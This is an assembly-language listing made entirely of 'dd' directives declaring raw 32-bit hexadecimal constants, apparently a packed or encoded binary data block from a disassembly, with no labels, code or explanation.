dd 98D11EB6h, 0E3A4D420h, 0EF0624EEh, 2C8C657Eh, 28A5902Ah
dd 0AC384BB5h, 0EFACA1EEh, 4620AF49h, 8D19B25Ah, 0F84195Ch
dd 9409918Ch, 0A4449C22h, 12B489ACh, 91682AC7h, 11C8741Ch
dd 1444BA18h, 1048A48Bh, 8B0C44BAh, 0BA0848A4h, 0A48B0444h
dd 2056989Eh, 0E80DE033h, 24F80922h, 7A98570Ch, 0A9B6B808h
dd 0AB10E888h, 7214C884h, 0CC52B8B6h, 0A0489301h, 0F7088404h
dd 3CA88CC2h, 3A3B02F8h, 0A2E0301h, 0C32674C0h, 25123C61h
dd 1D87E4BCh, 0C310E8C1h, 19E30241h, 79112B20h, 3983FC03h
dd 0C2B904C1h, 0D24436EFh, 0ACA4A18Bh, 0D10788D0h, 257940E0h
dd 5FF8C2CCh, 28A1481h, 0E98B8C42h, 0DFE06341h, 0A80D6128h
dd 68A0B266h, 0CAD2445Ch, 0C1C94484h, 0EB0296C1h, 905ACC8Ch
dd 9044E34Dh, 0C80B3010h, 9750C0Dh, 0F70421C0h, 0E010C2E1h
dd 140CDF53h, 747E1ED8h, 3142964h, 0A402C0Ah, 161B5BD3h
dd 0E988AA55h, 2C3D1783h, 17B0381h, 0B6890F7Eh, 0E2A42A07h
dd 0C92D5F66h, 8B0F005Dh, 7F61200Dh, 41048A36h, 0BD085830h
dd 4703D980h, 2CCBD2EBh, 1F795037h, 98EE8B2Dh, 752B0E05h
dd 33100450h, 2D44DB56h, 949A760Ch, 0B854125h, 703D22A1h
dd 0D24910Eh, 0C59B1CA8h, 1D0465Ch, 83CFEB31h, 0C38680FDh
dd 0D8F70275h, 0ADE29E5Fh, 0E8047B02h, 594A15DAh, 1464742Ah
dd 6474A60Ch, 32AEE41Ah, 0E1F9E0E3h, 4D24B509h, 2383C273h
dd 4020AC16h, 530B574Ch, 0D2118A56h, 1EAA9699h, 1718E69h
dd 4FEFF6EEh, 4535F7EDh, 384A817Ah, 6A15F5D0h, 0C20BBB82h
dd 0A0B0499h, 5EF57500h, 0A7925F5Bh, 0F4F01181h, 7E3D8DEBh
dd 26109FFh, 287C0684h, 0F92B222h, 0C475E038h, 65034126h
dd 66241877h, 22B78FFFh, 0B1EBDFA1h, 8A6B60B1h, 0EE22EC2h
dd 0FF478D0Dh, 0C7E0421Bh, 494A068Bh, 0FA54810Bh, 0C46843Fh
dd 3B9440A8h, 3AEBA5C1h, 3494B7E7h, 2B852E82h, 0A717D3C9h
dd 0F0955011h, 0F62C4E5Ch, 57D18CAh, 0CF12EB61h, 99951C64h
dd 44F3F140h, 46FB6602h, 0ECEA6D8h, 0A4B3170Ch, 4821AB5Ah
dd 0B23F2E13h, 944527BDh, 23982DF6h, 0C0316DD3h, 326E2E84h
dd 0AF77C76Fh, 0F623CBD6h, 1754333h, 0EFF250D2h, 0E82A048Ch
dd 0C3F8259Ch, 7F406A25h, 0D14B414Eh, 40D5BCB8h, 8292092h
dd 8D3B6AEBh, 926B58A4h, 9C90B412h, 99C1F757h, 0F7401FDh
dd 2441018Ah, 0FA43B09h, 8BF1751Fh, 0FEFFBAC7h, 0D0D17E17h
dd 0E830F083h, 4CF69AC2h, 37119A9h, 8BE87481h, 4F24FC41h
dd 1A8A4423h, 72B39EA9h, 100F6F0Eh, 0CDCB03D3h, 97FC798Dh
dd 0A6FE57BBh, 0FD7F0A08h, 0CAFC0340h, 64600CC3h, 0C0B68619h
dd 8864B3A0h, 63471729h
dd 0BF87EE93h, 225774D9h, 6ADED068h, 6C1155DEh, 3461E1CCh
dd 2758E092h, 126A4448h, 0CD6B10D0h, 0F2C72C7h, 450966CAh
dd 0AE487C6h, 8812EC0Dh, 0E08408A6h, 14567F86h, 444021DFh
dd 1E028D05h, 9132C8E4h, 71138824h, 0C362341h, 14C3C12Bh
dd 0FD9085FEh, 983AFCB2h, 973D5170h, 0B6A4245Ch, 81147282h
dd 2D0C85E9h, 1850505h, 0EC731842h, 0C4E8C12Bh, 0DC581ABAh
dd 8DC2EA4Ah, 3EDC7150h, 8366C889h, 838E450h, 3910E541h
dd 0A9F8A80Bh, 7D448FA3h, 33DC3294h, 8F422631h, 89F685A2h
dd 0FF3301BCh, 122B9435h, 42B1B27Eh, 0C244CCFh, 787C83C3h
dd 22772CE0h, 271C6683h, 16894F9Eh, 74062239h, 6914A210h
dd 64DE312Eh, 0A834A10Dh, 0CC8D7ACCh, 15BF412Fh, 89A0353Bh
dd 853F7721h, 63EECD65h, 0C46B3455h, 2DF50434h, 0B6254689h
dd 0F70CF40h, 0F0E62783h, 1030A178h, 0A1645A5Eh, 601F8143h
dd 0E851C195h, 0C63ECDB3h, 211E5791h, 429A16F9h, 575E012Ch
dd 5CB52C20h, 0A4350DD9h, 0B1087AAFh, 89EC2F11h, 4C3145B4h
dd 804D5A74h, 12167B03h, 0B83006E6h, 744C9E12h, 0F9259A36h
dd 3A287273h, 0B3264F7Ch, 62FC3AFCh, 0DD3D3E46h, 6B11D3B9h
dd 822F94C9h, 4E578257h, 906885DCh, 0AF8D9650h, 0BE25B068h
dd 38B6DDCBh, 5391E04Eh, 0DD034995h, 0E59A025h, 0C00ECE44h
dd 0F0256651h, 3D0AC87Fh, 241CDD00h, 4EE85575h, 8617A93Fh
dd 0EAF32D7Eh, 6699A41Ah, 8E535D23h, 0B6A41C0h, 9F412FE8h
dd 701F7946h, 4B145356h, 30A6D04Ah, 5DC0F62h, 0EA166870h
dd 0D1F4D29h, 63C0CA31h, 0AF31E83Dh, 0F85D5347h, 0DCBB2CB9h
dd 0E0DF5F60h, 0E64759Eh, 0F8320B81h, 0C3F62220h, 0ED753420h
dd 313F7D19h, 72AFCAC8h, 87BDD5B6h, 0B13A0815h, 10A36F9Dh
dd 43FDF325h, 0E2DB1587h, 68B811C3h, 0C74A82ABh, 83A28405h
dd 1BA7FDDFh, 1380A314h, 28881E22h, 4419A863h, 228BA38Ch
dd 4B6F9014h, 1394CC29h, 0B034B6C3h, 0D99BF4B6h, 4CFE7D3Ah
dd 96453A57h, 83FFCC80h, 6DFBFC92h, 0F47DDF98h, 26FE0CCDh
dd 0F85599DBh, 0F8B24722h, 8F484E10h, 3D46F842h, 0A4388A2Ch
dd 470473Fh, 0C598548h, 4643680Ch, 0A47C4B1h, 0C9220CA2h
dd 0C5BC163Fh, 4EEF5765h, 0F075C0D9h, 1D2E643Dh, 95036701h
dd 6E085AA3h, 63582CFAh, 0FF0850BEh, 3647E05Fh, 580008C2h
dd 68048759h, 6A071C24h, 0C457E411h, 863119FFh, 0E667CF8h
dd 9415F84h, 0BECA796Ah, 88B0454Ah, 0CB33FFAAh, 12625840h
dd 41D04D33h, 0B82E26C5h, 0D4DFF87Ch, 5D8673EAh, 4462196h
dd 8EFC55A1h, 0DA509430h, 0D95F8902h, 0AA0DE5ACh, 6D459CD8h
dd 0DBAC6714h, 337FE59Ah, 0C623D5ADh, 33ACCE65h, 0F43A084Dh
dd 0E081355Fh, 8A436035h, 684DF340h, 51A19ACEh, 0FC086EECh
dd 31E123FFh, 855118A2h, 53BAE8B7h, 68C88E4Ch, 48F8AEECh
dd 0FCCD1BC1h, 0DC804A5h, 0CDF87082h, 0A3263A08h, 21848610h
dd 79A14B89h, 67AF3495h, 0E00CD8F2h, 610E2DDCh, 0E3188E24h
dd 0E40C64DAh, 0E8101C08h, 9FECAF44h, 0F46423E6h, 0FC4CF809h
dd 0E054F05Fh, 26DC899Fh, 9EF86DCAh, 3807D851h, 0CC44125Bh
dd 0EB866401h, 10318FA9h, 9A8DD40Ch, 5F215012h, 35B89E69h
dd 94EA46F8h, 88AFCC4Bh, 0BC911708h, 0D810576Ah, 7EDAA9B4h
dd 0CC44CD91h, 5505A7EAh, 20BE2B60h, 66E083EBh, 0F4F41BAh
dd 2454885Fh, 0DAB586Dh, 0A4DEB58h, 54EC23A0h, 86100614h
dd 17D500ACh, 4A86C403h, 78EC2336h, 752E2470h, 269820Bh
dd 89FDEDCEh, 1C3319BDh, 0F7206BD8h, 9FA718D9h, 26A44FFBh
dd 0C70A9A0h, 9393574Ah, 5F443177h, 2E89C69Ah, 187C7DC8h
dd 78FE8339h, 0D72AE805h, 4D00A552h, 48D4E10h, 5B4C39B6h
dd 5EFA1883h, 481D3B05h, 1F687E08h, 26F60C52h, 6B4DA44Dh
dd 0CA364807h, 4DC58024h, 89461A14h, 72800C31h, 0C473B01h
dd 9904773Ah, 8F9076F0h, 0F0D98916h, 23695B85h, 4D76F246h
dd 6807956Ah, 0A416218h, 0A7F442C0h, 42C85D04h, 1038EDE5h
dd 6950AD2h, 0C8B896FFh, 72B60FAEh, 89025444h, 495AB802h
dd 27A52D9Dh, 1A6A50FCh, 832068FEh, 4DC2F35Fh, 58084335h
dd 11196051h, 3B2E74A9h, 7B271Ch, 76348D28h, 68B30C8Bh
dd 19E2B489h, 0E97C3048h, 12242004h, 836158BDh, 63FCE62Eh
dd 54FF6F40h, 0C3EB1203h, 85058F64h, 8DD156ACh, 86F854Eh
dd 81410DC6h, 69450479h, 0FA51724Ah, 39DD521Ch, 5D4089Eh
dd 7B8BD09Ch, 76FCBB2Eh, 90AEB8Ah, 4BEF1169h, 4BB06BCh
dd 590C6B03h, 0D041C25Bh, 5A127EF0h, 9B7A5067h, 0DDA60C95h
dd 8D166C99h, 0CC500996h, 0F9428390h, 0B130DF4Ah, 840F6468h
dd 78316380h, 0FFFC1864h, 0BC0B9C17h, 0A5E009C8h, 68D03065h
dd 68D08564h, 40488D64h, 640F5F66h, 4844094Ch, 2234913Ch
dd 1C24442Ch, 5730568Ah, 12646862h, 9180F111h, 0A0228C09h
dd 5B30B595h, 23166682h, 85865B0h, 66E08665h, 19991889h
dd 14600938h, 0C1A930ADh, 4A70E66h, 5C906A66h, 9980B4CAh
dd 12C409BCh, 48D424CCh, 22E491DCh, 309595F7h, 1020B1DAh
dd 9180D99h, 293C1228h, 1F5D3059h, 68902D6Ah, 0E2EFF59Bh
dd 0BC0CC029h, 694640CCh, 508B4E40h, 0B0590B15h, 0FB86FC9h
dd 0F22BF1A2h, 99C3B562h, 3A735E98h, 4AE8521Bh, 0E2C0F23Fh
dd 0E22E1848h, 0D84EBD0Ch, 2FC30129h, 19A82B1Dh, 0C105A350h
dd 8D02F902h, 9289880Ch, 0B003D846h, 58328E3h, 0C166F30Ch
dd 2B418A3Bh, 0A62ECB2h, 0E455C348h, 0FDE816A5h, 44EFB2F4h
dd 0D04753Eh, 11E8186Ah, 0A129AAA8h, 20838A8Dh, 10A34509h
dd 9570BC42h, 4702034h, 0CC469D8Ch, 0A156534Bh, 8A5C90EAh
dd 772D8D1Fh, 95AF5801h, 0C342449Ch, 921E2211h, 2B6941B3h
dd 5474459h, 0EB461EA0h, 7A0DB5D0h, 47FCA6Dh, 50C1453h
dd 16DB2B1Ch, 18274A31h, 8C0F4AC4h, 33AB2BE3h, 4FAD84E2h
dd 8F242409h, 396A4C7Ah, 0C1E59859h, 974305Eh, 0A5292C7h
dd 0C032BED2h, 0FE783C1Bh, 0A958E80Dh, 1F080813h, 31A6895Ch
dd 17750639h, 12AA53BAh, 6A044120h, 15E5602h, 50648946h
dd 0D2331E7Dh, 0BF1006F7h, 99CA903h, 0A6A0BD23h, 0C08CF34Bh
dd 0A41D4365h, 0CBBEA481h, 0D030C470h, 0BA1ECE2h, 3A569157h
dd 8C8B66A1h, 57C72358h, 20C3814Ah, 4C45E104h, 37A4917Eh
dd 738D413Bh, 3D842E36h, 9D08EE4Fh, 0DE72F4CEh, 0A7840CD4h
dd 4476CAF2h, 0EB040605h, 1CAF0F09h, 9FF10328h, 0AAF5F85Ah
dd 188A0682h, 0C04A64E9h, 0CFFBBF50h, 0D61B8EDh, 4008C1F6h
dd 0C8D4523Eh, 8291FCECh, 2A4DEB0Ch, 4BB86104h, 9D1C757Fh
dd 3E420114h, 4002E183h, 0D87D8106h, 77800234h, 0C91685F2h
dd 9EB02C75h, 0F6273A76h, 0C7011482h, 0D783405h, 0C8F7224Fh
dd 11EBFF0Ch, 60C180B5h, 0C91BD9F6h, 5A031D70h, 0BB0219C8h
dd 36F9BD05h, 97906102h, 0C6F85204h, 8F8BD438h, 0AE01AC5h
dd 27F46F2h, 34F6384Fh, 1F49DB48h, 0FFFDE5B1h, 522E2DE4h
dd 49B3E0BDh, 372F5089h, 0F1AD43C4h, 0BF88404Bh, 0C408C10h
dd 254C428Fh, 1355D310h, 937AADCCh, 4A5EE3AEh, 0BE7A26B2h
dd 69872D97h, 53B41EAh, 75BC532Ah, 0E8441BBEh, 2E448428h
dd 82689E6h, 12E28921h, 12141122h, 202024E0h, 0C418A107h
dd 0EA45EB0Fh, 0AB91608Dh, 0FF832858h, 481B7425h, 0F666122Bh
dd 0F8CE707Dh, 0DC0CC80Bh
dd 0D8D50513h, 4974D4F8h, 0C05E9C03h, 0BFE0753Bh, 8AA543A1h
dd 46A35F03h, 0C9EE5E13h, 6CBC3FCFh, 0F211F6F2h, 0E8BC0009h
dd 9E9E566Dh, 8AFFA7h, 5E2C2A7Bh, 7D3D2C01h, 74DE0C48h
dd 5D4891B8h, 85CF1655h, 0CC73CEBDh, 0E9D7754Ch, 0F6C9A95Bh
dd 46F7B200h, 9201E20Ch, 186CEF73h, 87EB4E7Eh, 10085EF1h
dd 9DD08A20h, 752AC91Ch, 2307B451h, 0F992C83Bh, 0F87BE072h
dd 36FF0E57h, 0F872E853h, 85292C6Eh, 47E8539h, 25D13E01h
dd 0D284DF03h, 0C04BEBFCh, 2E72146Eh, 0C910AFBDh, 130E89C1h
dd 912FE65h, 5350C22Bh, 65235DD2h, 36748957h, 29370610h
dd 309AB90h, 8518EBD8h, 0BC5873C9h, 15745925h, 87038828h
dd 4D5E433Dh, 0DB8C1423h, 76850F80h, 0BB288899h, 831EF9A6h
dd 0EB4D0C4Eh, 0E6430D04h, 2BB836C7h, 0EBF6BE7Eh, 96F8E549h
dd 57F5ECE5h, 0D900FF61h, 1E7D8D59h, 81ABF3E0h, 168A5F07h
dd 0CA5864B3h, 0CF2381A0h, 302E8E6h, 448DE3D2h, 1806E005h
dd 80619546h, 0AD0D7AE5h, 0CF200E85h, 5C304915h, 6A028A0Ch
dd 0CEFAF051h, 0D3525B60h, 0EEC1E3h, 354C8A03h, 74D984E0h
dd 4EC7074Bh, 0D9EB42C3h, 44B2DA8Bh, 24AD1E17h, 584A8556h
dd 2667E0D3h, 22097585h, 0D2DC8E80h, 0E93710ABh, 45F35E2Eh
dd 23564289h, 7C5BC3h, 969A0A5Ah, 53567A87h, 0C0B8D9B4h
dd 0C6F71407h, 0A7FE0903h, 0E25896Ah, 0EB6FA28Ch, 2DEA7621h
dd 257454C8h, 2029D3CAh, 40EB7543h, 3F511E5Ch, 64DCE383h
dd 3D602142h, 0F3754B2Fh, 5B82EDB4h, 71C35F5Eh, 12748A7Ah
dd 4455273Bh, 0C58C9608h, 6C3B23EEh, 0FA5E3366h, 599A9756h
dd 0C84CB85Eh, 0BB199DAFh, 163B0A06h, 0DE91C6A3h, 1E472C22h
dd 750D0C23h, 0A84574C6h, 648AB2AFh, 215C0E15h, 86110492h
dd 9B755154h, 0E20A0AACh, 28608B07h, 0A93AB16Bh, 0D949A485h
dd 7B69A77Eh, 3F6FE583h, 851BF352h, 144DF58h, 0A07988F8h
dd 66245DA2h, 3C8919EFh, 8980DF4h, 0F957D420h, 0A8146E96h
dd 0EA1A6255h, 0F06D0D19h, 899080A8h, 45FC2431h, 3FEF14EBh
dd 8A8106Ah, 0C4F61796h, 212FB104h, 0EFAD3A29h, 14260459h
dd 56FD425Eh, 4BF3771Ah, 0F7054912h, 79D80DEBh, 576A8A16h
dd 50D14342h, 4EB053E5h, 5B267AE3h, 0F7524AD9h, 0AEF20BBBh
dd 0F4CB89A7h, 0F345D0FEh, 46318AA6h, 473A8EFFh, 510477D4h
dd 0F7C4CF74h, 5B96CBD1h, 0D0EA8359h, 0A71271EAh, 5608C661h
dd 53277626h, 47078EC0h, 47F73988h, 908D7FC7h, 1147B2C7h
dd 3116121Fh, 28750C0Ah, 9CB44FCFh, 8B23AC2h, 0BEB030Ah
dd 2E6704D2h, 30097509h, 4CEB4ED3h, 0C449D81Ch, 0E1337413h
dd 23764293h, 301D2C6Fh, 0A2B4CBD7h, 3F47DB0Dh, 8F054D24h
dd 0F94F31Eh, 62CE4EBFh, 0B229655h, 44F6D0C8h, 369F2AD0h
dd 8E0B92C6h, 0B9899D44h, 50D0008h, 34025788h, 0CC1B6210h
dd 70A4019Ch, 658167AAh, 20FFC983h, 69904168h, 458A4F06h
dd 1714FD0Ch, 0F2073847h, 1652585Ah, 0E2E3FCC7h, 0FF428DC1h
dd 0EE7EFA5Bh, 0E648DCFh, 0B84357Bh, 6EF0D8B1h, 38B754EAh
dd 0B1374F8h, 38420A8Ah, 84D1A602h, 6F515AC1h, 0BED0B60h
dd 0C3D4C0D8h, 5610E3C1h, 0A0A12DEh, 0D26FDCBFh, 40CBDF4Bh
dd 2983F970h, 1FE5FFF1h, 0F0C696CFh, 0E152810Ah, 1C750AE6h
dd 0D365ED25h, 3DFF071Fh, 8DE63308h, 86C4C280h, 2EA5BC2h
dd 0FC428BC3h, 0ACE2D838h, 87EFAAA7h, 922784DCh, 58DEE7AEh
dd 24152732h, 860648DCh, 5C96EBD4h, 0FEEAB28Ch, 230770D0h
dd 96FC10FDh, 0C7D9D21h, 12BC93Fh, 487FFB9Ah, 849536EFh
dd 54A15628h, 4EAF012Bh, 0E10A7804h, 158700Eh, 1389413Bh
dd 0F40507EBh, 24AA516Ah, 16D382C1h, 0A3CB9C8h, 57C1BE90h
dd 2780D975h, 0CEC36630h, 3BA95D9Bh, 550B4609h, 0F06BC4F8h
dd 3D1702AFh, 0DDDD6ACCh, 1D75E5A2h, 0B09C457h, 0AA8C0F41h
dd 5A4745D6h, 80A18F92h, 0E920C009h, 0F906E199h, 0D4137D97h
dd 5EDF3BA0h, 39257D09h, 7E43E835h, 91029D0Bh, 427914F8h
dd 6DD80A13h, 0C6232D58h, 0DAF8EC0Eh, 15E865EBh, 4CA213A2h
dd 9F8008F8h, 4A44F6C8h, 79870158h, 0A6365E6h, 7388028Ah
dd 95D0ED8h, 1E7BEB58h, 40140DB7h, 6A56C693h, 0A959EBBFh
dd 892B5103h, 3592304Fh, 0E81299A4h, 72EF555Eh, 0C1DDAE65h
dd 8E890699h, 0DE8CFC45h, 8DAFD0Dh, 0BCBA75Ah, 0A1D54449h
dd 363453F0h, 0F297FD14h, 9245A518h, 38C20C19h, 4C2DF4F1h
dd 18C4C20Ch, 0FBBC50EBh, 54355C32h, 0D10E1608h, 8EDB4EE9h
dd 0BD8C0EAh, 35F475C9h, 0BD38F3F7h, 0B91305Dh, 18D10310h
dd 4B3B0E72h, 11D90877h, 2BE17653h, 0CD1B8F34h, 0FA111424h
dd 0DACF072Bh, 0A783D823h, 9181D20Bh, 3242EAA0h, 81B918AFh
dd 19101214h, 858B49D8h, 41EBD311h, 28148132h, 0F981689Fh
dd 451813F0h, 0E6F9C545h, 8910845Ch, 760C1007h, 244E5901h
dd 735EC614h, 6865BA5Ah, 93835AAh, 42C2147Eh, 590768D0h
dd 7B802172h, 1B753A61h, 93F7C75h, 62081068h, 25E80B91h
dd 803E99DFh, 4396832Fh, 0F3A1848Ch, 43032F03h, 0E1827A66h
dd 9A243BDDh, 4A8494BEh, 65740470h, 0D1A3908Ah, 812F82F6h
dd 487D0CCBh, 1AEB0440h, 972FF980h, 0D65C57ADh, 2E1A0A0Ah
dd 804A0B75h, 488D0679h, 4D30F101h, 0BFE99540h, 6B133CCFh
dd 2A888573h, 1B156AEh, 3BFB2B88h, 74D838FEh, 6D7494A2h
dd 0A559AA88h, 27284477h, 64CC0724h, 104D8288h, 63C98522h
dd 0FC7D2421h, 3B4C7702h, 704872FBh, 843F8DE9h, 376BE814h
dd 187D7888h, 2B4461C5h, 70C8612h, 0BDF04E73h, 0E857B968h
dd 0E159442Bh, 5F3E2409h, 1446788Ch, 532B1788h, 533222C3h
dd 0CA1C2440h, 0E9FD1888h, 5EF3195Ch, 45A88ADFh, 9FE53CBAh
dd 85257B25h, 0ED0A11E8h, 42DFB8A4h, 0D397D408h, 49325913h
dd 9C25760Eh, 5912A055h, 5DC580E9h, 15129234h, 15CA11AEh
dd 0B8B56922h, 0FB850F08h, 0A87F5565h, 92E03DC4h, 1D89D387h
dd 18ED4E8Dh, 0D6E86F6Dh, 0CB25FF5Ah, 4C8AA5ADh, 89F229E1h
dd 515320D8h, 0F9EF369Fh, 0E4F725FBh, 422D5A69h, 48FC439Dh
dd 1D72FE84h, 0D91B5011h, 5E15DCDFh, 6C5518A0h, 8AC016A0h
dd 1EB2ACDFh, 0B237B743h, 769FA0B6h, 414D4021h, 22519085h
dd 8E93D98Ah, 6D430D79h, 0B421EADBh, 4A3DD047h, 0C23A60A2h
dd 9464C158h, 14507408h, 154EDEAFh, 0AE933AAh, 47FE994Bh
dd 74C78B42h, 8C22A85Bh, 0A2122A02h, 77098609h, 77F65814h
dd 7971A86Bh, 0D5E41F4Ah, 0CE6FEC52h, 0E8D798FCh, 7F256421h
dd 520B89D8h, 0DC1A9C29h, 587389A1h, 0EFC14681h, 3F493104h
dd 0C2E89D30h, 0E573B728h, 421D0A2Fh, 0CA32EB0Ah, 16258409h
dd 5CF59035h, 42B4603h, 3AABB6E5h, 0F8DEA33Bh, 16243BACh
dd 0FE43125h, 9487BCBAh, 0A543BC28h, 3C614442h, 122443D4h
dd 1D3E14EBh, 0FEFCB062h, 0C5E8210Ah, 821BEF1Ah, 3914B925h
dd 3EEB1004h, 1422F733h, 0FE6B2324h, 16480F92h, 0F0DA269h
dd 0EE9D44B4h, 0EF2B2FFBh, 0FF49C865h, 0FE4DE4EBh, 0DF5E7BC1h
dd 1DCDC822h, 0C0DF0791h, 0E1810C4Eh, 0B7CB0108h, 2EC6C629h
dd 17D93B22h, 3FC68DFBh, 0E8361402h, 0CB0B776Eh, 2B3BC56Eh
dd 2567C9DFh, 0BA2E5446h, 0B28EED9h, 1064238Dh, 0EB327916h
dd 0D977E20Dh, 2BFB84D4h, 0DAB7E1FAh, 7CE143A9h, 0BA291901h
dd 9950473Eh, 3BD8052Bh
dd 0F43E72C7h, 0A7B12910h, 22BE0F0Bh, 59056E8Eh, 741DBADBh
dd 0A545142Eh, 0B2A64B8Ah, 0A8927FB4h, 9A4397Ch, 36502FBFh
dd 62E49AECh, 2BC7CDFCh, 0D6FE75AFh, 0AF8CFBE7h, 4B424310h
dd 0B698C4ADh, 7F845730h, 4C35BC8h, 0A0F61D20h, 16EE02EBh
dd 0D64FAB4h, 17381459h, 0DBEB89F8h, 66CA2E09h, 0FFF2FD78h
dd 0D5687496h, 0D6914712h, 0DAC8D8F7h, 89C1E983h, 324A29BAh
dd 1CB11CE5h, 1C220E18h, 11EF2794h, 10641421h, 921ACA77h
dd 0D145CC54h, 0D94BEB72h, 24DB2722h, 191C32F1h, 14230B18h
dd 4FC91091h, 0A34ED109h, 815F5E25h, 7EECA132h, 20AC87Fh
dd 68D0FF05h, 0D6BF3028h, 0E82A0B74h, 10FECCCEh, 22840FA3h
dd 0C71F74BFh, 38D1096Ah, 1513C02Ch, 239907FDh, 8E040C01h
dd 5F205760h, 957C3D39h, 33119CA6h, 88F2085Fh, 7E0F408Dh
dd 0A8948B13h, 3089E8A0h, 8847783Dh, 29A1741Dh, 98243A3Ch
dd 303A3889h, 718D5602h, 0F03BFC07h, 6E51372h, 0EE839861h
dd 203A4161h, 5EED732Eh, 95346829h, 2A882C10h, 287E599Ch
dd 38421140h, 0E6A81921h, 10755B14h, 8789297Bh, 8F9ADDA7h
dd 3B9524F1h, 0D7315ABh, 4C6C358h, 0C3A424EBh, 95FCBF3h
dd 0B29C7DF3h, 55766A9Dh, 55369698h, 0D9AAFA93h, 2590ED95h
dd 0BAD62EAEh, 95F22ECCh, 0D70B6922h, 74059B7Eh, 40B8A932h
dd 0E8A409Fh, 52750F3Ah, 48474613h, 0E816301Bh, 0FAD13817h
dd 7B4EF045h, 0CB577301h, 0C1523B15h, 0E8C7879Fh, 0E2E36B6Fh
dd 13445E33h, 83D6A8E0h, 0A2A7F32Bh, 0FC4EC127h, 3ACF57CDh
dd 0F526104Dh, 7E2E3792h, 1D59EA6Fh, 70B80302h, 0B21B58B3h
dd 0FF362B48h, 0C41CFD6Ah, 0F81168Bh, 0E775CA38h, 0DD18C89Dh
dd 0EE0D9EEh, 6D886111h, 0E250764Ah, 6AC53B06h, 5F1648CDh
dd 912ADCB1h, 9E418D33h, 1C7F0AC4h, 4A7F4010h, 2BF699C0h
dd 0F8D116C1h, 0A8FA2448h, 10FF5BA9h, 3B0BE0A8h, 658857D6h
dd 0E8F02765h, 16C8FEF8h, 883996DAh, 29627569h, 2BCA8621h
dd 317BDD0h, 0D60E66C8h, 32898331h, 4AA86480h, 424047B5h
dd 0E48E241Bh, 5DC4EFB8h, 7AD8BB0Ch, 0E86A5C52h, 0FA097473h
dd 0EE83D3DCh, 35FF0CC5h, 0C060647Ch, 0F747A5Dh, 2A1241B3h
dd 0EB073BA3h, 5B4F8D6Fh, 41C2FC09h, 96B6FE5Dh, 0BD1ECD1Ch
dd 1937DBD2h, 0E9F54036h, 0C14BAC6Ch, 6157DEF6h, 78967BAFh
dd 810143BCh, 0AFEB2F75h, 9C0BAD5Ch, 0E01A8862h, 569CEB9Dh
dd 1FB46A5Fh, 0A415882Ch, 0C63B059Bh, 0E9488374h, 6840D895h
dd 43164D78h, 41D6A40Eh, 5B34F616h, 25833098h, 150F58ECh
dd 6CE86586h, 98116C20h, 0D48A3E3Eh, 8D4C6AFAh, 9E6828B1h
dd 480D431Bh, 0FCC11D2Eh, 16CA030Ch, 0E80D8444h, 1140A310h
dd 0D7824E45h, 0C85924A1h, 1C7C6A52h, 925BB06Fh, 63F64EBBh
dd 680223D2h, 0ACA39D13h, 4121FFF4h, 0BD80E958h, 68CA2665h
dd 50CA8BFh, 2EB96A4Ah, 8DD07502h, 37C9A445h, 9DE81064h
dd 0CED9DF54h, 0D06BF69Ch, 0E8067E84h, 83D4258Ch, 14580AF8h
dd 0DF9C753Ch, 8630BF4Fh, 0C6498EE8h, 12A0456Dh, 0D87F586Bh
dd 3AC195C7h, 984D2009h, 0E8515006h, 0E3FB52DBh, 0C8110731h
dd 4AF99875h, 3D833F86h, 43BFE788h, 5B60F1F7h, 4CA885C3h
dd 0FA37908Fh, 48A08766h, 30417810h, 3B21250Ah, 594A6B44h
dd 56926926h, 7A6B49F6h, 6466037h, 82A8105Eh, 0F3450F98h
dd 0EB2040E1h, 2CE08AEBh, 66338316h, 22101004h, 0DA90DB30h
dd 0FE240807h, 46250E89h, 5A193010h, 0EF246947h, 0A9B702E7h
dd 1A071F9h, 58FE8122h, 74FA8CA6h, 8A781008h, 0E853C980h
dd 1D965C8Fh, 40BAC16Bh, 834829EEh, 571A0108h, 1866474h
dd 0F82B3EE1h, 0E31746Dh, 2C4918B2h, 40676AFh, 5057107Eh
dd 0ECD64E68h, 730ED4EAh, 2F33EB3Ch, 0EEA89FBh, 0C1CB4157h
dd 0E1F005F8h, 0BAF4B51Fh, 49EFC912h, 277C8FAh, 3A5A04Ch
dd 20D840F6h, 6A390D74h, 70C47002h, 0B536471Eh, 0BA4D8A39h
dd 14EB9688h, 453E4EACh, 42535F28h, 7D39C783h, 85845F64h
dd 193F3BA5h, 22253CFEh, 0A2EF7A0Eh, 0C692C01Ch, 0E4E0DC9Fh
dd 0C8EE6448h, 1F248A8Eh, 752D0047h, 6DEC3AA7h, 940C4720h
dd 0F04D4506h, 0D40877F0h, 0D0303F0Fh, 0EC553914h, 0DC8C0F18h
dd 18FB8031h, 0A137C20h, 0E5A7F78h, 0F28A6483h, 0C39A6A64h
dd 8FC9DD1Dh, 0C684208Eh, 0C9051F5Ah, 73E8204h, 0FD08A80h
dd 63D69A87h, 408DDDE0h, 92D48384h, 0CC551901h, 0E002D806h
dd 0FC08E404h, 78E9DC06h, 1093D645h, 3B35E56Ah, 2D9E830Ah
dd 1C080A3Dh, 357F481Fh, 0A60D1D12h, 74823F59h, 50E908FCh
dd 0E5040991h, 0F2011847h, 780893Eh, 12352A3Fh, 2C940247h
dd 752AFB20h, 0E7D1234Fh, 46FAF5E8h, 51AB699h, 34128D0Fh
dd 7F50FD3Eh, 0DFA4E977h, 0CBBE2FC4h, 98806783h, 28D04144h
dd 748BE9EBh, 5ED29F0h, 0C81E103Fh, 1F051B6h, 10905D3h
dd 0B2CAE9C0h, 8D896813h, 398A6F3Ah, 8635B8E9h, 0A2E7449h
dd 20406875h, 5AB9A36Ch, 0A0020A0Ah, 0FD4D0A18h, 61971EB9h
dd 8E54109Eh, 28208F09h, 3F808185h, 0D4147536h, 3476017Fh
dd 0EF470E38h, 78467251h, 81336CE9h, 356ED089h, 0B01D56B3h
dd 0CED6F6B6h, 0D5195C4Bh, 11B57466h, 4DA87FD6h, 47ECA9B1h
dd 0C41969A1h, 0E92F5866h, 5326F125h, 8667F81Dh, 29021C8Fh
dd 0C3A165F2h, 2D2FC296h, 0F8222458h, 0A078E250h, 0FF43E818h
dd 4C159FE5h, 6C09706Eh, 8FC22D4h, 2403E985h, 0FC4504C4h
dd 7AC4EA30h, 0FE09C125h, 45FB54F0h, 53E7ADBEh, 529C3E1Ah
dd 42977B22h, 0B1B7D44Fh, 501FE8Ah, 8409F792h, 26261CBAh
dd 4F676395h, 2000C727h, 0D2854ED6h, 0A5D442C8h, 0F3CC1DF0h
dd 0E24015CAh, 0E6E74AEBh, 0C3800938h, 40142120h, 0B86ABD8Dh
